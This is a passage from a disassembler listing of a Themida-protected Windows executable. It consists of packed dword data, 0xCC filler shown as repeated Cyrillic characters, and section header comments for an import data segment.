8B66AAD0h, 0B3BF58C6h, 513D44A3h, 10E9h, 1BAD2600h dd 60C9ABEFh, 1F3D7688h, 5E176D8Dh, 5EBA5E2Bh, 0B545D46Eh dd 1C97B985h, 0FEBF0563h, 0E954CB82h, 11h, 161AAE15h, 19A7BD84h dd 75D27C18h, 0E6283D69h, 17830F69h, 0E9000000h, 12h, 73768628h dd 0CB12B0ECh, 0CA4C0B3Eh, 23C7ECF8h, 0DE98E2Ch, 32000000h dd 0B0B28557h, 1FC6DBB8h, 0BC63F9Ch, 632572B9h, 0E1816653h dd 0BB668933h, 0BB669A44h, 0D7819B17h, 5A6EE259h, 5E960h dd 0E8A10000h, 619B9F84h, 66D18B66h, 609616BAh, 7B4DC381h dd 0B8660493h, 6661F73Ch, 0F9C43CBBh, 0FB74D081h, 14B91E79h dd 0E93489B5h, 0Bh, 4FD11C72h, 0E1C2B28Fh, 0BAC9EAD3h dd 419B4DD7h, 0F9DFB70Fh, 840Fh, 10E80000h, 0C5000000h dd 0FF8EB447h, 269908Eh, 74895F71h, 80988D60h, 0E85968F3h dd 10h, 996B760Eh, 0C6C6A056h, 76CEE51Ch, 0DBE2F02Bh, 7C30BF66h dd 0D3BE665Bh, 17880FD4h, 60000000h, 0CE8h, 117A0E00h dd 9580BCAh, 7C13A17Dh, 0B70F5E1Fh, 0D88B61D3h, 81FBB70Fh dd 0F66A3FF1h, 810FB339h, 2DB3BCAh, 7C74BB04h, 890F749Eh dd 4, 0D08BE66h, 3840Fh, 8B660000h, 0F1EB81FAh, 8120F818h dd 9AF7EAE6h, 6830F5Bh, 81000000h, 64687DD2h, 6652F834h dd 815EDE8Bh, 0EA0480C9h, 6FCC8072h, 0FF8C58Ah, 840FFBB7h dd 3, 0FC3B70Fh, 0C580C8B7h, 7BB9667Ah, 1206BA3Ah, 0F681135Ch dd 3E02395Fh, 12BE6651h, 0FCB3585Fh, 8D0Fh, 0B8500000h dd 5D760BBCh, 0D8BF0F5Bh, 91BEC28Bh, 6030FEE4h, 8B6632B3h dd 830F61F9h, 7, 66616060h, 0B061C78Bh, 8B585747h, 39C280C3h dd 0E9FE8B66h, 5, 0F25F14ACh, 0DF8B661Ah, 9319BA52h, 805B4454h dd 0D18027DFh, 0FEE58035h, 5BBB66F9h, 0F5FB8BA1h, 8E8h dd 0F59E8000h, 0EFF1509Eh, 616057A1h, 0B70F5F59h, 12E9C9h dd 7D0C0000h, 65BCD9C6h, 0E633B7FDh, 0B44DCC72h, 3DF3C73Ch dd 7AC78166h, 0CE8F2h, 6F3E0000h, 372300E7h, 613878B8h dd 8D0FB7DFh, 2, 66595F56h, 0F85265B8h, 6BDE8166h, 12E96Ah dd 46030000h, 0E3D7C2C0h, 28DCA9CBh, 19B30ACFh, 0D3CC78DCh dd 0C8D0Fh, 890F0000h, 6, 840Fh, 8B660000h, 8B6652CFh dd 880F5FD6h, 15h, 10E9h, 0F881AC00h, 29A8946Dh, 428C2A12h dd 9C8071DDh, 0F08B66CEh, 2B0ED981h, 0EE82A06h, 15000000h dd 2A986529h, 0B4FD50DAh, 8739316Ch, 0F5FF581h, 0F781CABFh dd 5AD86410h, 39D08060h, 28C0Fh, 61600000h, 14E861h, 0E3400000h dd 0F9AFE8C2h, 625019EFh, 73DA5F2Ch, 89D70870h, 0FE82D7Ch dd 0E4000000h, 7397416Ch, 0D6E7A5BFh, 0FE82245h, 595AEA04h dd 718CDE81h, 0E9531D22h, 5, 4BB56504h, 8F0F589Ah, 5, 38DF8166h dd 9E977h, 0F8620000h, 0AB569254h, 66FB13A6h, 0E8BBD9BAh dd 11h, 0B93C863Eh, 98652915h, 0FD50DA2Ah, 39316CB4h, 0E7BB6687h dd 11E95EDFh, 0DC000000h, 0C28BF5CDh, 0E601B400h, 91559EE0h dd 10915EDDh, 45B4D38Ah, 10E9h, 746F3500h, 96FED67Eh, 51283E96h dd 0A028D711h, 0F5DE8AD8h, 0F8D18B66h, 0B35AB860h, 61FC2D93h dd 48C0Fh, 0B9660000h, 16BEF16Ch, 0E9663B81h, 0Bh, 0E9FBFEB5h dd 9657FDC5h, 0B7CF97CDh, 80DA8B35h, 8B666BF5h, 0F8F18BF8h dd 0BA66C78Bh, 0C881CBE9h, 43501E39h, 8E860h, 3F000000h dd 20D5A45Ah, 14E9ABBDh, 62000000h, 99169F1h, 499ADA14h dd 0CFB63500h, 0A94B748h, 5917184Ah, 0D2C18166h, 42B96145h dd 0E90B7A09h, 11h, 7EC701F7h, 0F0522747h, 382C95A3h, 7A110AA5h dd 8B66FC8Ah, 0E8FE8BC8h, 13h, 880AA2B6h, 15870D80h, 1EEDF377h dd 0E176D44Ah, 0B0B143BFh, 7E95B98h, 1F000000h, 0FDD9B978h dd 8A0FC783h, 3, 66CB8B66h, 0E58AF38Bh, 95CFB9BAh, 0EE9526Dh dd 4D000000h, 0E950667Fh, 7670C19Ch, 699ECC35h, 81665910h dd 0E8ACBFE9h, 6, 0D573B59Dh, 0C78145A5h, 31C4CE3Ah, 0B70FFC59h dd 0D78166D7h, 8166C3A4h, 0FAEE2C7h, 60F8C9BFh, 0D4B90EB7h dd 61155593h, 0C8BB2FB0h, 8017CE68h, 93B569E3h, 81F0BF0Fh dd 154FE6CEh, 0EE972h, 78380000h, 45A253B8h, 227C8836h dd 0BF225239h, 0BFB860F5h, 602A6D86h, 0EE9h, 89558600h dd 77CB5102h, 9182D3D9h, 0F5C2EECh, 8Eh, 60616100h, 41FBEB9h dd 0DE90Fh, 0AEEE0000h, 0C1802C9Dh, 4790AC6Ch, 61412A99h dd 589BF7BBh, 6237BE28h, 0BE93CB3h, 0E9000000h, 0A5E073CAh dd 0C5B557A2h, 0BF0FB031h, 0C8C0FD2h, 0F000000h, 681h dd 860F00h, 0B2000000h, 0DCEB80C0h, 0CE9F5h, 0E8120000h dd 0C9F734DFh, 8C310934h, 0EF817BB3h, 4945B0FFh, 5850Fh dd 81660000h, 8BC16AC6h, 5E9D8h, 2020000h, 0BE0FA95Ch dd 76BF8A67h, 66F7B70Fh, 4552E881h, 13E8h, 0FD391700h dd 610D6223h, 7A801F1Ah, 367F9D93h, 0BF05BDC2h, 6810Fh dd 0CB810000h, 2A6E007Ch, 0C44CBB5Ah, 8B661D2Ch, 93CE81CAh dd 0F91364DFh, 0BF273EBEh, 5E971h, 5F700000h, 0E9707DFEh dd 0Dh, 735C8CACh, 118F0452h, 38EC5B05h, 8E9E5h, 0F2380000h dd 951C566Dh, 0F88B034Fh, 0BB66E5B7h, 92BA95FFh, 0E949D1EEh dd 9, 0EBA92081h, 0AFD4E958h, 0F38166B5h, 8B664003h, 88E0FCEh dd 0F000000h, 289h, 0B45DB000h, 0F1BF6667h, 6E95Bh, 442C0000h dd 7F229248h, 8A7AD380h, 0CAB70FD8h, 11890Fh, 9E80000h dd 0F3000000h, 4C5D76E8h, 5BC714F4h, 0E9595E56h, 8, 0AB210767h dd 6B377C6Bh, 83BCCEBAh, 0F7BF0F20h, 0FD0B70Fh, 0F08BD9B7h dd 0E9816652h, 8159016Fh, 0A8038C7h, 128D0F49h, 0E9000000h dd 0Dh, 0F63F8CFDh, 282F08F8h, 0B8322B28h, 7E8ADh, 0F4E40000h dd 0B901716Ch, 0E85FF5E0h, 0Bh, 0B94B423Ah, 62CCF9BAh dd 5E8A1550h, 0FF1B70Fh, 0F8Eh, 0AE900h, 0EF6D0000h, 0F29D0C0Dh dd 0F7E1BEC0h, 7BF38166h, 0C6B70F11h, 868588B8h, 35B85237h dd 58697E04h, 8F0Fh, 81F90000h, 0D6E479CFh, 0BE968h, 0E970000h dd 0F348DB8Ah, 0E3F1FCCCh, 60C78BFDh, 7B06BE66h, 0AE9h dd 336D9100h, 0EA5B414h, 613AF868h, 128F0Fh, 0DE90000h dd 0D6000000h, 0D11746A0h, 0E18CDF30h, 79B617F5h, 0B70FEB8Ah dd 38A0FF0h, 0F000000h, 830FD7BFh, 19h, 14E9h, 54C78700h dd 0EFB7D9A3h, 7864D857h, 4140FD04h, 44B5F63h, 19850FA6h dd 0E9000000h, 14h, 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh dd 665C3139h, 2A470B27h, 8B66CE8Bh, 16850FD3h, 0E9000000h dd 11h, 5D13B0F3h, 0DA0D2587h, 0B2EFACF9h, 0A9414662h dd 10E93Ah, 32420000h, 950A4189h, 0C24894CDh, 21935E0Fh dd 8E0FBBFFh, 0Ch, 6840Fh, 0DF810000h, 37CE8A06h, 0C8CAE081h dd 0D78B08B2h, 2840FF8h, 8B000000h, 1A840FC1h, 0F000000h dd 1481h, 0FE900h, 31D80000h, 8E6DFA2Dh, 41E22696h, 6917CADh dd 5FF9512Fh, 0FE8B8EB0h, 9E9h, 6BBD6000h, 0C841575Eh dd 0E9605138h, 0Bh, 22373D1Eh, 4D363072h, 6001D306h, 804DE8B8h dd 60F68026h, 8E0F6161h, 5, 0F0C976BEh, 0DE852h, 3900000h dd 0B1277CFBh, 852A6553h, 57637CD7h, 5BC0B70Fh, 8B66565Eh dd 5E85AF0h, 0CF000000h, 0EC921A22h, 87E6D781h, 565F6716h dd 10E8h, 8949F500h, 59C912CEh, 89590FF3h, 1AA508BEh, 0EE85Bh dd 8DC60000h, 311E82AEh, 87FF5DBBh, 0F3D4DDB7h, 0B95E5B5Ah dd 8947AEh, 53BFBA53h, 0F958274Eh, 8BCEF280h, 8B5F51C6h dd 870FC7h, 0FC000000h, 8166CF8Bh, 0E97C5AC6h, 5, 9D948039h dd 0B8A0F0Ah, 0E9000000h, 6, 1B7B1EECh, 0E8F9D6EDh, 0Ch dd 6EDE3209h, 699259F6h, 3DF62A3Ch, 0CEB70F5Bh, 0C5EABE66h dd 138C0Fh, 8E0F0000h, 0Dh, 8E9h, 389F2B00h, 0E5C394DEh dd 0CF8B660Bh, 1830Fh, 66F80000h, 4381C081h, 38F0Fh, 8B660000h dd 0F4D281F9h, 0F7B3F11h, 189h, 8153F500h, 669A2BD1h, 0DB81584Fh dd 4229626Bh, 2880Fh, 0D18B0000h, 22F1B966h, 58A0Fh, 81660000h dd 0F45FCD0h, 0AE9C8B7h, 0B2000000h, 9A837A10h, 0DA116A78h dd 0C08166F5h, 6E83C85h, 7D000000h, 0D3E7569h, 8E965h dd 889A0000h, 0CC9CDEB0h, 0F5B7DD7h, 8Ch, 0F7BF6600h, 8B66602Bh dd 8E9F2h, 0B0460000h, 25206D6Ch, 6061F5B0h, 29C1C981h dd 0CF814954h, 48A4876Eh, 8C0FF861h, 5, 8AD98166h, 0CA8053ECh dd 0BF0F5E07h, 0FBBA66D1h, 81C38AC9h, 0B4EA15C8h, 0E7816650h dd 840F3BC4h, 5, 695062BFh, 0F5D98B78h, 60F5CB8Bh, 0FC61FCF8h dd 61F860F8h, 8830Fh, 8C0F0000h, 2, 0EC80F78Ah, 12E831h dd 8D010000h, 0AA13672Fh, 8766D12h, 0EC96A46Dh, 26BFDEE5h dd 0FBF8E2BAh, 0CA815951h, 31ED773Dh, 0B9FB8B66h, 509BD78Eh dd 0C5FCBEh, 12E92Dh, 0A8940000h, 8C2A1229h, 8071DD42h dd 0D0CFCE9Ch, 0A841B74Bh, 0F7B6F2BFh, 68C0F59h, 81000000h dd 0ACC2F8CEh, 0E2BF5127h, 587D6124h, 8E9h, 0F774F600h dd 425E5C89h, 78CF8187h, 0E9648E25h, 0Ah, 0E79F403Bh, 97F947B0h dd 8D0F565Bh, 6, 0F7B0E381h, 0DE96645h, 58000000h, 5D35E14Ch dd 0F0A14809h, 2A13E7D8h, 66CF8B66h, 0BB66DF8Bh, 0EE9A4DAh dd 0F0000000h, 0DBAA9200h, 0A0BA16A8h, 89B37Ah, 9ABE6675h dd 0BEC0B3CDh, 43C6FBB8h, 18B0Fh, 60F50000h, 32C08153h dd 5F4F476Eh, 613EC680h, 88E0Fh, 66600000h, 8B66C28Bh dd 8D0F61F8h, 0 dd 0C681DA8Bh, 3007E647h, 406B11BBh, 10E9600Dh, 5C000000h dd 0DBD8F4E0h, 663103A6h, 46C19AA2h, 53777966h, 615EDA8Bh dd 0E97CB660h, 13h, 1954B584h, 6875CBBFh, 0AFBE4649h, 9E73687Fh dd 61F1A4C6h, 66D2B70Fh, 0FF205B9h, 8156F1B7h, 246020EFh dd 9CB65B78h, 6E9h, 76EC9900h, 80A07449h, 0BE92FD2h, 1D000000h dd 0DC30D813h, 0DFE9A5E1h, 0BA66AD4Fh, 8F0FF8FAh, 4, 5E84B657h dd 2F1DC681h, 0CE8B7DDEh, 0BF0F5250h, 0E95B5BF1h, 12h dd 432C4657h, 44D0624Ch, 5074392Ch, 0DFE7C477h, 0C4B8C0BDh dd 662E4D8Fh, 0B3219DBAh, 0DDBA66AFh, 11E81Fh, 0BDAF0000h dd 0D978BF10h, 9943272Eh, 2D9DC93Eh, 808E2ECEh, 0F5F82C5h dd 588h, 0D8D8BA00h, 0F1817441h, 72468963h, 1ED88051h dd 0D081665Ah, 6EB0490Ah, 0F09EC181h, 0D68B0D18h, 14E8FCh dd 0A3E40000h, 0B813FDE9h, 3A3D33A4h, 7C170BD7h, 26949323h dd 800F2800h, 3, 5AC9B70Fh, 0F3DEF80h, 8C0FF3BFh, 3, 0FF98B66h dd 128Fh, 6E96000h, 0C4000000h, 0D3697389h, 0E1816652h dd 8161264Ch, 55958EC6h, 0D9BF0F50h, 3A42FBEh, 66CE8B0Fh dd 4D7FEB81h, 0EC1ECEBAh, 0CEBF560Ch, 5F6E3618h, 81BECE8Bh dd 0F457A96h, 0B8Ch, 5860F00h, 66000000h, 0F9DE281h, 32FA70AAh dd 2E5h dup(32FA70ADh), 86E476ADh, 3CDh dup(86E476B7h) dd 0B206C8B7h, 10Eh dup(0B206CFF0h), 6606CFF0h, 337h dup(662F2911h) dd 0AE2F2911h, 3Ch dup(0AE5265FCh), 0CCCC65FCh, 3C3h dup(0CCCCCCCCh) dword_5BF180 dd 3A0h dup(0CCCCCCCCh) ; DATA XREF: Themida_:0054C42Bo asc_5C0000 db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: Themida_:0053F134o db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл',0 align 1000h Themida_ ends ; Section 5. (virtual address 001C1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C1000h align 2000h _idata2 ends end start